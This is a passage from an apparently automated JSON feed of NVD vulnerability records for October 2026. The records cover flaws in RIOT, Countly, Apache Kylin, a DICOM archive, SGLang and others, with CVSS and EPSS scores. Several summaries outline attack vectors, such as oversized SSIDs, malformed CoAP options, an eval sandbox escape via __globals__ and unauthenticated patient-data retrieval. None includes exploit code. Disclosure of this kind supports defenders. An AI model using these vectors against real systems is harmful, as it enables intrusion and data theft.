microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.04, the ATWINC15x0 driver's _atwinc15x0_sta_set_current_ssid function uses strcpy to copy an SSID without checking the destination size. When MODULE_ATWINC15X0_DYNAMIC_CONNECT is enabled, a nearby attacker can advertise a malformed or oversized SSID that is processed during Wi-Fi scanning, causing memory corruption and potentially a hard fault, denial of service, or code execution. This issue is fixed in version 2026.04.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:17.173Z","updatedAt":"2026-10-16T20:17:17.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102693","asOf":"2026-10-16T20:17:17.397Z"},"epss":{"probability":0.00226,"percentile":0.13138,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102693&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102693","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102693","type":"primary","publishedAt":"2026-10-16T17:17:17.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102693&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102693, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102692","cveId":"CVE-2026-102692","aliases":[],"kind":"vulnerability","title":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems.","summary":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, nanocoap accepts oversized CoAP Block2 option values without enforcing the 20-bit maximum block number, allowing block offset multiplication to overflow on 32-bit targets. The affected master baseline is commit aeeae69e; the verified fix is later on master and remains unreleased. The oversized value passes from coap_get_blockopt() to coap_block_slicer_init(). A remote CoAP client can send a malformed Block2 option that produces an invalid slice range and can cause out-of-bounds memory access, denial of service, or memory corruption. This vulnerability is fixed in 2026.07.","detail":"RIOT is an open-source microcontroller operating system designed for Internet of Things devices and other embedded systems. Prior to 2026.07, nanocoap accepts oversized CoAP Block2 option values without enforcing the 20-bit maximum block number, allowing block offset multiplication to overflow on 32-bit targets. The affected master baseline is commit aeeae69e; the verified fix is later on master and remains unreleased. The oversized value passes from coap_get_blockopt() to coap_block_slicer_init(). A remote CoAP client can send a malformed Block2 option that produces an invalid slice range and can cause out-of-bounds memory access, denial of service, or memory corruption. This vulnerability is fixed in 2026.07.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T17:17:16.980Z","updatedAt":"2026-10-16T22:17:08.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102692","asOf":"2026-10-16T22:17:08.800Z"},"epss":{"probability":0.0035,"percentile":0.28402,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102692&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102692","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102692","type":"primary","publishedAt":"2026-10-16T17:17:16.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102692&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102692, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44977","cveId":"CVE-2026-44977","aliases":[],"kind":"vulnerability","title":"countly-server is the server-side part of Countly, a product analytics solution.","summary":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, plugins/star-rating/api/api.js allows a non-global application administrator to use uploadFeedbackFile to store attacker-controlled active content while trusting the supplied MIME type. plugins/star-rating/frontend/app.js publicly serves the stored content from feedback/preview/ with the attacker-influenced Content-Type, so a global administrator who opens the preview executes the payload in the Countly origin and exposes authenticated session capabilities, including auth_token and csrf_token values. This issue is fixed in versions 24.05.50 and 25.03.44.","detail":"countly-server is the server-side part of Countly, a product analytics solution. Prior to 24.05.50 and 25.03.44, plugins/star-rating/api/api.js allows a non-global application administrator to use uploadFeedbackFile to store attacker-controlled active content while trusting the supplied MIME type. plugins/star-rating/frontend/app.js publicly serves the stored content from feedback/preview/ with the attacker-influenced Content-Type, so a global administrator who opens the preview executes the payload in the Countly origin and exposes authenticated session capabilities, including auth_token and csrf_token values. This issue is fixed in versions 24.05.50 and 25.03.44.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:17:44.483Z","updatedAt":"2026-10-21T03:17:19.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44977","asOf":"2026-10-21T03:17:19.330Z"},"epss":{"probability":0.00436,"percentile":0.37589,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-44977&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44977","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44977","type":"primary","publishedAt":"2026-10-16T16:17:44.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44977&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-44977, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26846","cveId":"CVE-2026-26846","aliases":[],"kind":"vulnerability","title":"Buffer Overflow vulnerability in WEINVEIW CO.,LTD EBPro v.6.10.01.510_20251022 allows a remote attacker to execute arbitrary code via the UtilityManagerEx.exe component","summary":"Buffer Overflow vulnerability in WEINVEIW CO.,LTD EBPro v.6.10.01.510_20251022 allows a remote attacker to execute arbitrary code via the UtilityManagerEx.exe component","detail":"Buffer Overflow vulnerability in WEINVEIW CO.,LTD EBPro v.6.10.01.510_20251022 allows a remote attacker to execute arbitrary code via the UtilityManagerEx.exe component\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:17:06.357Z","updatedAt":"2026-10-21T02:17:07.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26846","asOf":"2026-10-21T02:17:07.237Z"},"epss":{"probability":0.00657,"percentile":0.51172,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-26846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26846","type":"primary","publishedAt":"2026-10-16T16:17:06.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-26846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95182","cveId":"CVE-2026-95182","aliases":[],"kind":"vulnerability","title":"An untrusted search path in DeepSeek Harness (dsh) commit c291e796 allows attackers to execute arbitrary code via supplying and opening crafted executable files in place of...","summary":"An untrusted search path in DeepSeek Harness (dsh) commit c291e796 allows attackers to execute arbitrary code via supplying and opening crafted executable files in place of legitimate content.","detail":"An untrusted search path in DeepSeek Harness (dsh) commit c291e796 allows attackers to execute arbitrary code via supplying and opening crafted executable files in place of legitimate content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:36.940Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95182","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00533,"percentile":0.44721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95182&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95182","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95182","type":"primary","publishedAt":"2026-10-16T15:17:36.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95182&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95182, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105279","cveId":"CVE-2026-105279","aliases":[],"kind":"vulnerability","title":"In the default configuration, the archive accepts DICOM associations from an unregistered calling AE.","summary":"In the default configuration, the archive accepts DICOM associations from an unregistered calling AE. A remote peer can use C-FIND and C-GET to enumerate and retrieve patient information and medical images. It can also use C-STORE to file fabricated study content under an existing patient identity.","detail":"In the default configuration, the archive accepts DICOM associations from an unregistered calling AE. A remote peer can use C-FIND and C-GET to enumerate and retrieve patient information and medical images. It can also use C-STORE to file fabricated study content under an existing patient identity.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:04.130Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105279","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00274,"percentile":0.19644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105279","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105279","type":"primary","publishedAt":"2026-10-16T15:17:04.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105279, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18516","cveId":"CVE-2026-18516","aliases":[],"kind":"vulnerability","title":"An output escaping vulnerability in the Audit Logs component of Crafty Controller allows a remote, unauthenticated attacker to perform stored cross-site scripting via HTTP header...","summary":"An output escaping vulnerability in the Audit Logs component of Crafty Controller allows a remote, unauthenticated attacker to perform stored cross-site scripting via HTTP header injection","detail":"An output escaping vulnerability in the Audit Logs component of Crafty Controller allows a remote, unauthenticated attacker to perform stored cross-site scripting via HTTP header injection\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T14:17:24.710Z","updatedAt":"2026-10-18T14:16:54.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18516","asOf":"2026-10-18T14:16:54.970Z"},"epss":{"probability":0.00291,"percentile":0.21439,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18516&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18516","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18516","type":"primary","publishedAt":"2026-10-16T14:17:24.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18516&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18516, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107617","cveId":"CVE-2026-107617","aliases":[],"kind":"vulnerability","title":"An attacker can use a hard-coded credential to log in to EseeCloud devices.","summary":"An attacker can use a hard-coded credential to log in to EseeCloud devices.","detail":"An attacker can use a hard-coded credential to log in to EseeCloud devices.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T14:17:16.510Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107617","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.0037,"percentile":0.30661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107617&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107617","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107617","type":"primary","publishedAt":"2026-10-16T14:17:16.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107617&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107617, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-64959","cveId":"CVE-2026-64959","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), Missing Authentication for Critical Function vulnerability in Apache Kylin.","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), Missing Authentication for Critical Function vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 5 through 5.0.4. Certain backend cache API misses required authentication and can cause execution of injected SQL.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), Missing Authentication for Critical Function vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 5 through 5.0.4. Certain backend cache API misses required authentication and can cause execution of injected SQL.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:57.480Z","updatedAt":"2026-10-20T16:17:14.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-64959","asOf":"2026-10-20T16:17:14.950Z"},"epss":{"probability":0.00416,"percentile":0.35648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-64959&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-64959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64959","type":"primary","publishedAt":"2026-10-16T13:16:57.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-64959&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-64959, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-64610","cveId":"CVE-2026-64610","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Apache Kylin.","summary":"Deserialization of Untrusted Data vulnerability in Apache Kylin. Unsafe Java deserialization could happen from a broken external cache service.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Deserialization of Untrusted Data vulnerability in Apache Kylin. Unsafe Java deserialization could happen from a broken external cache service.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:57.367Z","updatedAt":"2026-10-20T17:17:41.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-64610","asOf":"2026-10-20T17:17:41.097Z"},"epss":{"probability":0.00415,"percentile":0.35472,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-64610&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-64610","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64610","type":"primary","publishedAt":"2026-10-16T13:16:57.367Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-64610&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-64610, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63619","cveId":"CVE-2026-63619","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Apache Kylin.","summary":"Missing Authorization vulnerability in Apache Kylin. A backend metadata dump API misses the enough authorization and the path-confinement. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Missing Authorization vulnerability in Apache Kylin. A backend metadata dump API misses the enough authorization and the path-confinement. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:57.250Z","updatedAt":"2026-10-20T17:17:40.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63619","asOf":"2026-10-20T17:17:40.947Z"},"epss":{"probability":0.00265,"percentile":0.1821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63619&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63619","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63619","type":"primary","publishedAt":"2026-10-16T13:16:57.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63619&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63619, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111391","cveId":"CVE-2026-111391","aliases":[],"kind":"vulnerability","title":"SGLang 0.5.10 through 0.5.22 contains a code injection vulnerability in _evaluate_filter() that allows remote attackers to execute Python code by escaping the eval() sandbox...","summary":"SGLang 0.5.10 through 0.5.22 contains a code injection vulnerability in _evaluate_filter() that allows remote attackers to execute Python code by escaping the eval() sandbox through re.search __globals__. Attackers can send a crafted filter expression to the unauthenticated /dumper/configure endpoint when DUMPER_SERVER_PORT is set, running code in the scheduler process on the next 